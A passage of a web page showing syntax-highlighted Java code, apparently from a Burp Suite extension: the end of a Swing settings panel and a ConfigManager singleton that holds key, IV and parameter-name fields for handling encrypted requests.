&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(publicKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(encSymKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(encIvField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(reqParamField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(respParamField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            montoya.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;logging&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;logToOutput&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;[+] Configuration saved successfully&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            JOptionPane.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;showMessageDialog&lt;&#x2F;span&gt;&lt;span&gt;(panel,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Configuration saved!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(saveButton, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; text&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; gbc&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; row&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JLabel&lt;&#x2F;span&gt;&lt;span&gt;(text), gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; JTextArea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; defaultValue&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; gbc&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; row&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; textArea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextArea&lt;&#x2F;span&gt;&lt;span&gt;(defaultValue,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        textArea.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setLineWrap&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JScrollPane&lt;&#x2F;span&gt;&lt;span&gt; scrollPane&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JScrollPane&lt;&#x2F;span&gt;&lt;span&gt;(textArea);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(scrollPane, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; textArea;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; Component&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getComponent&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; panel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;ConfigManager.java&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package helpers&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; instance;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; privateKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; publicKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encryptedIvB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encParamReq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; encParamResp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getInstance&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (instance &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            instance &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; instance;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; privateKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; publicKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encryptedSymmetricKeyB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encryptedIvB64; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encParamReq; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; getEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span&gt; encParamResp; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.privateKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.publicKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; key&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; key; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; iv&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encryptedIvB64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; iv; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; param&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encParamReq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; param; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; setEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;String&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; param&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt; this&lt;&#x2F;span&gt;&lt;span&gt;.encParamResp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; param; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; boolean&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; isConfigured&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
